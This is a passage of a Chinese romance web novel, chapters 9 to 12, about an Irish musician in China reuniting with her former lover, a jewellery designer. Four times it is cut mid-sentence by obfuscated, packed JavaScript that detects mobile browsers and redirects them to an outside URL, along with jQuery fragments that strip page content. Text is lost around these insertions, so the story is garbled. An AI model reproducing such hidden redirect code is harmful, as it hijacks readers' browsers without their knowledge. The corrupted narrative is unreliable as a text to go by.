这段时间克罗宁忙碌的间隙,经常带着周围的孩子们玩,吹笛子、弹奏竖琴、拉小提琴,也引来了不少成年人围观,算是跟周围的邻居都混了个脸熟。
所以开业这天,竟然有不少人过来捧场。
——买课的人虽然没几个,但免费的试听课都报满了。
克罗宁就在院子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353044|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里上了第一节试听课。
这一日天气晴好,十一月的阳光照在院子里、照在葡萄架上,照在院子门口被油漆成金黄色的巨大竖琴装饰上,照在波光粼粼的河面上,也照在一河之隔的那辆黑色商务车上。
越溪降下车窗,于是那阳光也照亮了她那张眉目如画的脸。
风送来了清亮的提琴声,悠悠荡荡,似乎能一直飘到很遥远的地方,飘进记忆深处。
越溪第一次见到克罗宁的那天,她也在演奏乐器。
那是在巴塞尔的一家私人古乐博物馆里。
博物馆的主人是个真正热爱音乐、热爱那些古乐器的人,所以除了展厅之外,还准备了单独的休息室,放置了馆内展出的所有古乐器的复制品,游客参观完之后,可以在这里亲手尝试弹奏。
当然,并不是所有的游客都有这样的音乐素养,比如越溪,她走进休息室,就只是为了休息一会儿。
当时她刚刚参加完一场珠宝展会,忙了好几天,好不容易闲下来,便想找个安静的地方待着。而这家博物馆位置偏僻、门脸也不起眼,甚至都没有挂出招牌,越溪虽然是迷路误入的,但也觉得是个好地方,就在音乐室的角落找了个位置待着。
结果正闭目养神,忽然听到一阵明亮清透的音乐声。
休息室外张贴了公告,不会演奏的游客可以直接通过设备播放各种乐器演奏的乐曲,或是等待博物馆的主人有空时过来现场演奏,所以越溪没有觉得奇怪,甚至没有睁开眼睛。
她也并不讨厌这个突然的意外,因为对方的演奏水平很不错,而动听的音乐总是令人心情愉快的。
直到一曲结束,有人走到她坐着的椅子旁,打开了休息室的窗户。
那一天的巴塞尔同样是个晴天,明亮的光线陡然照进来,越溪皱了皱眉,睁开眼睛,就看到了站在面前的克罗宁。
先是一头浅金色的头发,被阳光照得熠熠生辉,然后对方转过身来,露出线条优越的面部轮廓,高挺的鼻梁,薄唇和一双湖水般的绿眼睛。
看到她,那双漂亮绿眼睛里闪过惊讶与慌乱。
“抱歉,我不知道这里有人……”她一边道歉,一边慌张地伸出手,试图遮挡照到越溪眼睛上的光线。
“没关系。”越溪坐起身,见她还是抿着唇,十分紧张的模样,就微笑道,“如果你不介意的话,可以再为我演奏一曲吗?”
克罗宁没有拒绝,而且演奏了不止一曲。
羽管键琴、多管芦笛、调音长笛,以及各种稀奇古怪,越溪完全认不出来是什么东西、又要如何演奏的乐器,她全都如数家珍,上手演奏也有模有样的。
越溪之前进来时,只是走马观花随便看了一遍,现在倒是在这个休息室里,真正获得了逛博物馆的体验。
她们在那里度过了一个愉快的下午,但直到分开时,也没有询问过彼此的姓名。
9. 第009章 意外
手机铃声将越溪的神思唤回,她看了一眼来电人,才伸手接起。
“你人呢?不是说马上就到了吗,该不会是那种还没出门的马上就到吧?”唐清雅的声音懒散轻快,说到最后还带上了几分笑意。
“已经在路上了。”越溪理直气壮地答。
等挂了电话,她才从窗外收回视线,发动车子。
唐清雅约的地方是城郊的一处别墅,距离这里不远,越溪很快就开到了,见已经停满了车,不由微微皱眉。
但来都来了,她还是下车,进了门,就看到唐清雅正在指挥人布置别墅。
越溪越过彩带、气球和鲜花,走到她身边,“你没说有这么多人。”
“嘿嘿,说了你不就不来了吗?”
“……”
“走走走,看看我给你准备的惊喜。”唐清雅推着她的肩膀往屋子里走。
别墅修建的时候就是打算用来举办各种聚会的,所以一楼大厅不仅宽敞,还做了挑高,此刻,大厅正中央的吊灯下,已经摆放好了各种乐器,几个有些眼熟的年轻人正在调试设备。
越溪意外地转头去看唐清雅。
唐清雅邀功,“怎么样,我好不容易才找关系请来,够意思了吧?”
这支最近因为某音乐综艺而走红,不少歌曲都出了圈,越溪挺喜欢的,也加入了车载音乐的歌单,没想到唐清雅注意到了。
越溪今天本来是没心思应付这些的,只想安安静静地待着,但见她这么费心,便也不好说要走。
结果唐清雅的手笔不止于此,另外还请了好些小歌手,虽然声名不显,但个个都有才有貌,更重要的是,全都是越溪认识的,或是听过现场,或是加入了歌单。
这么多人,都能攒一个音乐节了。
不只是越溪意外,其他受邀的宾客也没想到会有这样的惊喜,一个个都乐疯了。
表演一直从从下午到晚上,气氛十分热烈,但并不混乱,越溪坐在角落里安安静静地听歌,倒也觉得不坏。
等大家都嗨够了,厨房里也准备好了丰盛的晚餐,流水一般地送上来。
吃饱喝足,越溪猜测后面还有节目,但她不想参与,就起身去找唐清雅,准备打个招呼就走。
结果才刚说了两句话,眼前忽然一黑,停电了。
大厅里响起了一阵惊叫声,唐清雅便让越溪站在原地稍微等一会儿,自己过去安抚其他人。
越溪等了两分钟,点点烛光忽然点亮黑夜,缓缓朝她而来。
直到插着蜡烛的蛋糕塔停在了自己面前,音乐声响起,大厅里的人也都聚拢过来,拍着巴掌唱起了生日歌,越溪才后知后觉地反应过来,今天是她的生日,而她本人完全忘记了。
这时唐清雅则不知从哪里冒出来,往她头上戴了一顶王冠——不是那种蛋糕店附送的纸质王冠,而是一顶真正的、由金属和宝石打造而成,熠熠生辉的冠冕。
一曲结束,众人催促道,“快许愿!”
越溪从来不相信许个愿就能得到自己想要的东西,但此时还是笑着闭上了眼睛。
只是在心底默数的那几秒,不知为何,克罗宁在阳光下拉琴的样子忽然浮现在了脑海中,让她微微失神。
吹蜡烛、切蛋糕,今天到场的人纷纷送上礼物,就连被请来参与表演的歌手和乐队成员也没有例外。
唐清雅也趁着这时候,将这些人介绍给越溪。
越溪一一寒暄过去,每个人都能说出对方的代表作,以及自己欣赏的地方,让听的人欢喜不已。
等人群散开了,唐清雅推了她一下,笑着道,“怎么样,有没有看上的,我把联系方式推给你。”
“没必要。”越溪脸上仍带着笑,语气却是淡淡的,“我只是喜欢他们的作品,并不打算认识创作者本人。”
唐清雅啧了一声,“我可是特意挑了长得好看的邀请,你这都看不上,也不知道什么样的天仙才能让你另眼相待……”
话说还没说完,对上越溪扫过来的视线,连忙自己捂嘴,“行行行,我不说了。”
……
清晨的阳光透过窗棂,唤醒了床上睡着的人。
克罗宁穿好衣服,来到窗边,推开了一扇窗户,呼吸着清晨的空气,沐浴着金色的阳光,只觉得心情也跟天气一样明媚。
这样的好天气,在爱尔兰是很少见的,但在这里却是常态。
王文静跟克罗宁聊天的时候,有一个永远都说不腻的话题——吐槽爱尔兰的天气。
阴雨多、晴天少都算了,风大到不到一百斤的小王同学经常觉得自己会被吹走也暂且不提,最让她不适应的是,早上七八点才天亮,下午四点半就天黑了。
直到某天她打开地图,意外地发现都柏林的纬度居然跟漠河差不多,才终于释然了。
想到这里,克罗宁掏出手机,拍了一张照片发给王文静。
艰难地完成今日份校园生存任务,回到合租房还要苦命地熬夜听课件、写作业,正忙得不知天地为何物的王文静:……人干事?
克罗宁哈哈一笑,放下手机去洗漱了。
简单收拾了一下自己,她便按照计划,出门跑步。
附近有一个足球场,也是周边居民散步、晒太阳的地方,不过克罗宁还是更喜欢沿着车和人都不多的路边慢慢跑,欣赏城市与郊区的风光。
同时避开过多的社交。
非要说克罗宁对自己的新生活有什么不满意的,那就是这个了。
过了最初彼此客客气气的阶段,邻居们表现出了中国人的热情,不管她有什么事都会热情帮忙,家里做了好吃的还会给她送一份。
但与此同时,他们也会不见外地打听她的情况,以前是做什么的,怎么会想到中国来,家里有什么人,年纪多大了,收入有多少,谈对象了吗,以后想找中国人还是外国人……
第一次经历时,克罗宁整个人都是懵的。
常人对外国人的刻板印象,总觉得他们都很热情,一个个都是社牛,但至少爱尔兰不是这样。
大抵是因为地理环境和气候的缘故,爱尔兰人大都很内向、敏感,出了很多诗人和作家。大部分爱尔兰人的社交圈都十分狭窄,只会跟自己的朋友一起玩,即使是在酒馆,也不会随意跟陌生人搭话。
而他们的朋友,也基本都是从小一起长大的,很难结识新朋友。
可以想见,在这样的环境里长大的克罗宁,陡然陷入七大姑八大姨的包围之中时,会是什么样的心情。
结果回来跟王文静提起,她居然说,“你就知足吧,她们还没给你介绍对象呢。”
不过她也教了克罗宁一个应对这种场合的好办法:假装听不懂。
这招她倒是想用,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353045|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但毕竟亲戚朋友年年都要见,不太方便,但外国人就没有这样的顾虑了。
克罗宁也没想到,自己好不容易把汉语练得差不多,现在又要假装不会。
好在她的长相本来就很有距离感,不笑的时候还是很能唬人的,在她有意保持距离的情况下,倒也没有人非要来打扰。
当然,正常的社交她也不会拒绝。
比如这一天,一位邻居阿姨来约她一起去看望另一家的奶奶,克罗宁就欣然同意了。
这位奶奶年纪大了,身体大大小小的毛病不少,却不愿意去医院,一提起来就急,结果拖来拖去,情况越来越严重,今年以来一直在卧床休养,最近天气一凉,她吹了点冷风,感冒十分严重,然后又引发了其他的病症。
总之,根据上门看诊的社区医生的诊断,老人家的情况非常不乐观。
消息传出来,邻居们便立刻开始组织动员,打算一同上门去探望老奶奶,顺便问问她有没有什么心愿未了。
克罗宁如今在周围的知名度和声望值都不低,这种事自然不会落下她。
虽然心里早有准备,但真的看到那位老奶奶,克罗宁还是有些吃惊。
她实在太瘦了,看到她,克罗宁才明白为什么中文里会有“瘦成一把骨头”的说法。
即使不在医院,那种因为病人而产生的沉重与压抑也没有减少,反而被正常的环境衬得更加明显。
生、老、病、死,本来就最容易触动人们的情绪,何况克罗宁的职业多少跟艺术沾点边儿,面对这样的场景,感触只会更深。
探病时她就有些沉默,回到家后更是第一时间找出纸笔,借着此刻的情绪进行创作。
只是很不顺利。
折腾半天,删删改改,最后只留下了两行。
看看时间,克罗宁自己都被吓了一跳,连忙收拾东西去睡觉。
只是躺下了也有些难以入眠,翻来覆去半晌,好不容易才迷糊过去,就又被一阵突然的炸响声惊醒。
爱尔兰是禁枪的,事实上,大部分欧盟国家都是,但是被这声音惊醒的瞬间,克罗宁的第一反应还是有人在开枪,直到这声响连绵不绝、持续了好一阵,而且之后又间歇地响了数次,她才终于意识到,事情肯定不是她想的那样。
克罗宁起身走到院子里,果然看到河对岸的路上多了不少行人,而他们每一个都很淡定,显然这样的场面对他们来说不算什么。
克罗宁走出院门,来到路上,近距离地闻到硝烟味、看到满地的红色纸屑,她终于后知后觉地反应过来,刚才是有人在放鞭炮。
但距离过年还有很久,为了什么突然放鞭炮?
克罗宁没有多想,找了一个人询问,然后从对方口中得到了一个消息,今天下午她才去探望过的那位奶奶,已经去世了,
她有些吃惊,又难以置信。
这太突然了。
大抵因为是自己见过、认识的人,克罗宁总觉得自己似乎也肩负起了一份责任,需要做点什么。
所以她出席了完整的葬礼,直到将遗体送入火化室,才终于走到外面,打算透透气。
才到门外,就听到一阵压低的嘈杂声。
克罗宁循声望去,不由一呆。
人群中被簇拥在正中间的那个人,不是她心心念念、寻寻觅觅却始终不见踪影的越溪又是谁?
10. 第010章 好久不见
这一次见到的越溪,既不是克罗宁熟悉的那个温柔的、带着书卷气的越溪,也不是她在照片里看过的那个身着礼服、明艳动人的越溪,她穿了一身黑色的长款大衣,脸上的表情庄重严肃,一看就是在办正事。
跟在她身边的人正不停地说着什么,越溪边走边听,不时微微点头,跟她说话的人就露出放松与欣喜之色。
她自己的神情却始终没有太大的变化。
克罗宁静静地注视着她。
寻找越溪必然会是一个漫长的过程,克罗宁已经接受了这一点,并且为此做好了准备——所以她才会将自己的时间和精力都转移到工作室上去,忙起来,就没心思想那么多了。
而且按照后援会成员们的分析,下一次越溪可能参加的活动,应该是年底了。
每年天风珠宝都会举办一场盛大的年会,邀请合作商和业内人士参加,越溪作为签约设计师,说不定会给甲方面子。
没想到越溪竟然就这样出现在了她面前,如此轻而易举。
以至于她几乎以为自己是在做梦。
不知道是不是察觉到了她的视线,被人群簇拥着,原本正在听其他人说话的越溪,倏然抬头朝这边望了过来。
四目相对,克罗宁的身体像是有了自己的意识,不自觉地往前迈步,想要靠近对方。
然而下一瞬,越溪就收回了视线,脸上的神色并无任何波动,连脚步都未曾有过停滞。
于是克罗宁刚迈出去的脚步又突然顿住。
然后,她眼睁睁看着越溪领着那群人从自己身边走过,从始至终都目不斜视,就像是完全没有发现她的存在,又像是……根本不认识她。
就像是一盆冷水兜头浇下,克罗宁尚未来得及品味找到越溪的喜悦,就先被当头一棒敲下,砸得她有些头晕目眩。
一直以来,她只想着一定要找到越溪,却没有想过,对方是不是想看到她。
不、或许也不是真的完全没有想过,只是……不敢想、不愿想。
但是其实,在越溪突然消失的那一天,她走遍了整个巴塞尔,却遍寻不到对方的踪迹,最终只能坐在街边看着夜幕落下的时候,心里或许就已经有了这样的明悟——
越溪或许没有那么爱她。
甚至是,完全不爱她。
否则她怎么能在两人亲密无间地相处一个月之后,如此果决地不告而别,甚至没有留下任何解释?
过去的甜蜜、所有的回忆,在那一刻都化作利剑,刺向她的胸膛。
怎么能够接受?
于是在痛到麻木的时刻,她掩耳盗铃、自欺欺人,告诉自己越溪一定有她的苦衷,离开只是不得已,只要找到她就好了,只要解释清楚就好了——无论什么样的理由,只要越溪说了,她就会相信。
却没想过,越溪是否想要见到她。
……
克罗宁失魂落魄地往前走了一阵,耳畔忽然响起一阵嘹亮的乐声。
她惊醒过来,发现自己不知不觉居然已经走到了越溪进入的那栋建筑前,而那响亮得不逊于鞭炮声的音乐,是从她身后传来的。
克罗宁转头望去,就见一支队伍正缓缓朝这边走来,队伍最前面,两个中年男性正各自手捧着一个喇叭形状的乐器,两腮鼓起,吹得十分卖力。
后面的人手里则抬着各种葬礼奠仪,既有生肉做成的完整席面,也有花圈纸扎之类的丧葬物品。
一行人走到建筑门口,里面就有人迎了出来,给跟在乐师之后的几人披麻戴孝,然后他们就跪在地上,当场哭了起来。
乐师停在一旁,更是鼓足了劲儿吹吹打打。
这悲哀混合着热闹的一幕,不知为何完全吸引住了克罗宁的注意力。
她静静地看着,只觉心跳得厉害。
等这一场哭灵结束,所有人都重新走回建筑内,克罗宁才回过神来。
那种被突然的打击弄得晕头转向的感觉,忽然好了很多。
人的一辈子很长,但也很短,即便是死亡这样宏大的命题,由具体的人去面对,似乎也有了别样的感受。
与之相比,她在感情上的一时挫败,似乎也没那么难以接受了。
至少她确实找到了越溪。
更多的克罗宁还没有想好,但有一点是可以确定的,她不顾所有人的阻拦,一意孤行地选择来到中国,不可能什么都不做,就这样轻易放弃。
下定决心,克罗宁重新迈开脚步,走近了面前的这栋建筑。
她不知道越溪是为什么来到这里,但殡仪馆总不会是个能随便过来逛逛的地方,克罗宁也不确定下次再来是否还能碰到她,所以必须要抓住这个机会。
进了门,她才发现这里比自己想的更热闹。
克罗宁之前参加的那位奶奶的葬礼,来的人不多,灵堂布置得很简略,告别仪式也很简单,这里却是拥挤而吵嚷。
角落里,两位乐师依旧在不止歇地吹奏,本就高亢的乐声在室内回荡,压过一切声响。
其实爱尔兰的乐器,大抵是因为诞生在空旷的山林田野间,已经属于音域很高、穿透性强的类型了,但跟这种乐器一比,都只能甘拜下风。
克罗宁多看了两眼,才将注意力放在了找人上。
但是艰难地在场中转了一圈,也没有发现越溪的踪迹,不只是她,还有跟在她身边的人。
这么多人总不能凭空消失,克罗宁小心留意,终于在角落看到了一扇紧闭的门,上面贴着“员工通道,非请勿入”的牌子。
员工……
克罗宁咀嚼着这两个字,实在想不出来越溪一个珠宝设计师,能跟殡仪馆的工作扯上什么关系。
设计骨灰盒、在上面镶嵌珠宝吗?
但她迟疑片刻,还是守在了这扇门旁边。
特意挑了个正对着门的位置,保证越溪一出现就能看到她,但又刻意拉开了一些距离,就算有别的人注意到,也只会当她是不小心走错地方的路人。
这一等就是几个小时。
中途克罗宁接到了邻居小孩的电话,才想起自己是来参加葬礼的。
好在那边其实已经结束了,打电话是催她过去坐车——殡仪馆就建在公墓旁边,位处远郊,只有一路公交车能到,又挤又难等,大部分人都是开车过来的,也难打到出租车。
克罗宁随意搪塞了过去。
才挂了电话,就有人匆匆走过来,看到她,脸上的表情带上了几分不确定,“你是来吊唁的吗?”
克罗宁含糊地支吾了几声。
对方以为她是承认,一边嘀咕着“没想到他们家还有外国的亲戚”,一边上前扯她的胳膊,“前面坐席了,你赶紧过去,桌子坐满了好上菜。”
克罗宁:“……”
没等她想好拒绝的说辞,已经被人不由分说按在了角落的一张桌子上。
然后果然就开始上菜了。
服务人员来来回回,几分钟内就上完了果盘,冷碟,热菜,汤和粥,满满一大桌子。
这时候再起身离席好像有点奇怪,克罗宁只能不安地拿起筷子,夹了一块白切鸡。
她的视线一直在留意员工通道那边的动静,夹菜的动作也有些心不在焉,但嚼了两口,忽然被嘴里
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353046|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的食物经验了,肉质嫩滑、鸡皮爽脆、蘸汁鲜甜,让人唇齿留香。
克罗宁没忍住又夹了一块。
这时,周围也响起了此起彼伏的议论声和惊叹声。
“这个菜不错。”
“这个也好吃。”
“殡仪馆的人转性了吗?以前的酒席明明很难吃的。”
“应该是最近才改的,我上回前两个月过来的时候,还吃到过没炒熟的蒜苔呢。”
“好像说是换了东家……”
“我怎么听说是小老板当家了?”
这些都跟自己没有关系,克罗宁听了一耳朵,也没有在意,继续运筷如风——她们这一桌坐了两个小孩,比赛一样转动桌面,必须要眼疾手快才能夹到自己想吃的菜。
莫名其妙蹭了一顿席,克罗宁有些不好意思。
好在她刚刚才从邻居那里了解到中国人送礼的方式,来之前还在小卖部花一块钱买了一包十个的红包,又去银行取了现金,当即包了个红包,在宴席结束后塞给主人家,还学着其他人的样子说了一句“节哀顺变”。
主人家看到她也有点惊讶,但想着可能是哪个亲戚带来的朋友——这种情况也是常有的——便也没有多问。
……
大厅里的人已经走得差不多了,工作人员开始打扫卫生,正当克罗宁担心自己会被请走时,她守着的那扇门终于打开了。
她下意识地站直了身体,有些紧张地看过去。
但从门里走出来的人却不是越溪,也不是跟着她的人。
克罗宁支棱起来的肩膀又塌了回去。
然而走出门的人却没有离开,而是回身将门板挡住,不让它自动合拢,一边殷切地看向门内。
下一刻,身着黑色长款大衣的越溪从门里走了出来。
克罗宁的位置选得实在好,又是一次两个人都没有预料到的四目相对。
克罗宁:!!
她满心懊恼,手忙脚乱地重新站直。
这时越溪已经在人群的簇拥下走到了她前面,这是一条L行的通道,克罗宁就站在转角的位置,要出去必须要从她身边经过。
有一瞬间,她们的距离近到克罗宁能够嗅到越溪身上幽淡的玫瑰香气。
这气息是如此熟悉,她曾经无数次将头埋在对方颈间,爱不释手地嗅闻、亲吻,试图捕捉它。
然而与她擦肩而过的那个人,却依旧是八风不动、看到她也当没看到的样子。
巨大的委屈倏然从心底翻涌起来,克罗宁鼻尖一酸,眼眶也微微湿润了。
就在她低下头,不敢再看越溪的瞬间,她听到熟悉的声音从队伍前方传来,e on。”
克罗宁猛地睁大了眼睛,抬起头来确认了一下,感觉确实是在说自己,连忙快步跟在了队伍后面。
队伍里的其他人显然也有些惊讶,都在偷偷打量克罗宁,不过她完全没有注意到,满心满眼都是走在最前面的越溪。直到从楼里走出去,越溪将身边的人都打发了,只剩下她们两个,她才后知后觉生出了几分紧张。
乍然的分别、长久的寻觅,真正站在越溪面前的这一刻,克罗宁才发现,自己竟有些不知道该如何面对她了。
越溪却仍旧是坦然而从容的。
“好久不见。”她说,脸上带着一点淡淡的、自然的笑。
仿佛她们真的只是很平常地分别了一段时间,仿佛她们只是再普通不过的朋友,并不曾刻骨铭心地深爱过。
又或许,越溪的确不曾爱过。
克罗宁的眼睛里,绿宝石的表面重新蒙上了雾气。
11. 第011章 正确的
好半晌,克罗宁才压下忽然袭来的情绪,轻声道,“好久……不见。”
尾音还带了一点鼻音。
真的,好久了。
一句话过后,似乎就没别的好说了,两人相对沉默,气氛逐渐变得微妙,只是很快就被越溪打破。
“你是来找我的吗?”她问。
事到如今,越溪也不能骗自己说她不知道克罗宁为什么会来到中国,又为什么会站在这里,不如索性就直接问了。
可是这种坦然,看在克罗宁眼里,就是不在意。
那些对她来说难以承受的——离别的痛苦,寻找的焦虑,漫长的等待——都是不值一提的事,可以那么轻松随意地说出口。
明明她什么都知道。
于是那句已经到了嘴边的“为什么”,又被克罗宁咽了回去。
她忽然不想、或许也是不敢知道答案了。
“我……”克罗宁轻轻吸了一口气,竭力让自己的语调听起来平稳,“我只是……你有东西落在我那里了。”
“什么?”越溪微微愕然,显然这话完全在她的预料之外。
克罗宁反而彻底镇定了。
“你的胸针。”她说。
“哦……”越溪反应有点慢似的,片刻才恍然道,“你说那个。”
克罗宁生怕她说出“那是我不要的”或是“直接丢了吧”之类的话,那自己就真的收不了场了,于是连忙打断道,“胸针我没带在身上,加个联系方式吧,我也好还给你。”
说着就掏出手机,点开二维码递了过去,“你扫我?”
这一系列的动作太过丝滑,越溪用一种奇特的目光注视了她好一会儿,直到克罗宁以为自己会被拒绝时,她才从包里取出了手机。
扫码、添加,当好友申请的提示音响起来的那一刻,克罗宁的心情难言。
在认识越溪半年、与她相爱又分离之后,她们终于加上了联系方式。
被那双她曾吻过无数遍的眼睛注视着,克罗宁再也没法在越溪面前维持平静的假象,丢下一句“稍后再联络”,就匆匆转身逃走了。
一开始是走,然后越来越快,最后变成了跑。
只有这种消耗体力的方式,才能让她的精神得到片刻的安宁。
所以等克罗宁跑不动了,停下来时,才发现自己已经跑到了半山腰,放眼望去一片荒草枯木,看不到半个人影。
她落入了一种前不着村后不着店的处境。
倒回去是不可能的,这里也叫不到车,只能继续往前走了。
好在克罗宁也习惯了——不提她现在每天都会早起跑步,只说在爱尔兰的时候,无论是在西部山区的乡村,还是在都柏林这个国际化大都市,人们在短距离出行时,其实都更偏向于选择步行,毕竟公共交通没那么方便,而出租车基本是打不起的。
几公里山路完全不在话下。
而且在这样机械的行走之中,也能静下心来整理思绪。
直到此刻,克罗宁才后知后觉地意识到,自己来到中国其实还不到一个月,竟然就找到了越溪,简直可以说是顺利得不可思议。
这让克罗宁坚信,自己的选择是正确的。
尽管寻找的过程有些煎熬,尽管越溪的态度让她从美好的幻想中脱离,意识到找到她并不是一切的结束,反而可能只是一个开始,但至少,她们之间的缘分还没有断。
想着想着,克罗宁的心情渐渐变得开朗。
就在这时,一辆黑色的商务车从后面驶来,然后在她身旁缓缓减速。
克罗宁不由得停住脚步。
车辆也随之停下,车窗下降,露出越溪那张美丽的、微微含着一点笑意的脸,“上车。”
那双绿色的眼睛立刻闪烁起了动人的光彩,克罗宁没有推辞,干脆地拉开车门,坐上了副驾驶座,一边系安全带,一边神情自然地向越溪道谢,全然没有刚才落荒而逃的狼狈。
越溪扫了她一眼,默默启动了车子。
松柏、山林和荒野在车子两侧急速倒退,克罗宁慢慢放松下来,视线不自觉地落在了越溪身上。
她脱掉了外面的大衣,只穿着一件修身的高领打底衫,即便只是坐在驾驶室,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353047|199640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显得身姿挺拔、仪态出众,双手搭在方向盘上,十指修长、指节分明,腕骨微微凸起,弧形的线条一直隐没到衣袖里,黑色的衣料与洁白的皮肤形成强烈的对比,克罗宁不知不觉看得入了神。
直到车子再次停下,车身轻轻一震,将她的魂拉了回来。
克罗宁有些慌张地收回视线,往车窗外一看,看到熟悉的河流、小桥和院子门口的竖琴装饰,才意识到已经到目的地了。
怎么会这么快?
不过她很快又想起来,自己住的院子就在从殡仪馆前往市区的路上,距离确实不算太远。
她依依不舍地解安全带、开车门,最后回头看了越溪一眼,才起身下车。
下一次见面,又不知道是什么时候了。
“等等。”就在这时,越溪忽然出声。
克罗宁立刻转回头,一双明亮的绿眼睛注视着她,眼底满是期待。
越溪看了一眼就转开脸,手指在方向盘上轻轻敲了两下。
“胸针。”她说,“你顺便拿给我吧。”
绿宝石的光彩因为这句话而黯淡下去,克罗宁待了片刻,才终于找到了一个可以搪塞的说法,“哦……胸针其实并不在这里,我得先让人邮寄过来。”
总之先拖延过去。
在她们的关系重新破冰之前,胸针就是两人之间唯一的联结,克罗宁不可能交出去。
只是在越溪看过来时,她还是有些心虚,连忙下了车,扶着车门小声道,“抱歉。”
越溪没有说什么,直接把车开走了。
“呼……”克罗宁突出一口气,刚刚放下去的心又微微提了起来。
她的借口实在拙劣,越溪不可能听不出来,也不知道她会不会生气……
克罗宁站在原地,一直目送越溪的车子走远,看不见了,才转身往自己的院子走。
踏过石板桥,穿过被杂草掩映着的小路,越过那个巨大的金色竖琴装饰,站在院子门口找钥匙时,克罗宁动作突然一顿,终于后知后觉地反应过来——
不对啊,越溪怎么会知道她住在这里?
12. 第012章 绿宝石
越溪将手机熄屏,放回桌上。
唐清雅看看手机,又看看她,“在等消息?”
“没有。”
“没有你一晚上看十八次手机?”
越溪没有顺着她的话往下说,而是反问,“你很闲?”
“确实挺闲的。”唐清雅晃了晃酒杯,没有放过这个话题,“说说呗,是不是有什么情况?难得见你这样。”
越溪还是那两个字,“没有。”
只是每次点进去都看到正在输入,却始终没有收到消息,难免令人在意。
她也想知道克罗宁会说些什么。
无需怀疑,在这座城市看到克罗宁,越溪不认为还会有别的解释,她只能是来找自己的。
尽管克罗宁的行事风格从来都在她预料之外,但越溪还是很惊讶。
她没有对克罗宁透露过任何自己的信息,因为本就没有期待过两人会有以后,对她来说,在巴塞尔度过的那一个月,更像是一个远离现实的绮梦。
正因为是梦,她才能脱离出重重束缚,无所顾忌地放纵。
但现在,梦中的人来到了现实。
越溪无法想象,克罗宁是怎么找来的。
她又想对自己说些什么?
“咔嚓”一声,将越溪有些飘远的思绪拉回。
“你干什么?”她抬眸去看对面的人。
她平日里总是笑脸迎人,但表情冷下来的时候,还是很能唬人的。可惜唐清雅不是她的下属,完全没感受到任何冷意与压迫,反倒将手机往她面前一递,“你自己看看你现在的表情,这还说没什么?”
越溪微微垂眸,看着屏幕上的自己。
酒吧里霓虹闪烁,让整张照片充满了一种失真的幻梦感,以至于她的眉眼也显露出了一种强烈的故事感。
“挺会拍的。”越溪客观评价。
唐清雅见她油盐不进,“啧”了一声,也没再说什么。
其实她也不觉得越溪真的会有什么情况,毕竟对方现在的处境,她比其他人更了解,不认为她会有心思去考虑这些。
再说,就算越溪真的有什么情况,唐清雅也不信有什么人能让她茶饭不思、辗转反侧,她让别人这样还差不多——人际关系这一块,完全是越溪的舒适区,她可以轻易拿捏任何人。
包括唐清雅自己。
她正要开口提起今晚约人出来的正事,就听身后传来一声热情的招呼,“清雅,越溪!好巧,没想到会在这里碰到你们。”
两人闻声回头,就见一个烫着九十年代流行的港风蓬松大卷发、打扮得十分精致、一身珠光宝气的女人笑盈盈地站在几步之外,满脸惊喜地看着她们。
唐清雅撇了撇嘴,一旁的越溪却是笑道,“好久不见,珍珍。”
“是啊,好久没见你出来了。”余珍珍说,“上个月我去参加活动的时候,还看到你的粉丝在场外应援呢,那天下了雨,她们还一直等到散场,怪可怜的。”
越溪脸上笑意不变,“我哪有什么粉丝?设计的都是些庸俗的东西,比不上你,做的都是艺术。”
余珍珍表情一僵。
这话其实是她经常挂在嘴边的,但有些事,骗骗别人也就算了,可骗不了自己。
——众所周知,艺术都是不赚钱的,越溪设计的珠宝首饰,却是每一件都能卖成爆款。
至于庸俗,越溪拿的奖可比她多。
好在今日的越溪,已经不是无懈可击了,余珍珍很快调整好表情,“这样谦虚就没意思了,谁不知道你是天风珠宝力捧的对象?不过,你已经好几个月没参加过业内的活动了吧,我怎么听说,是回你爸那边继承家业去了?”
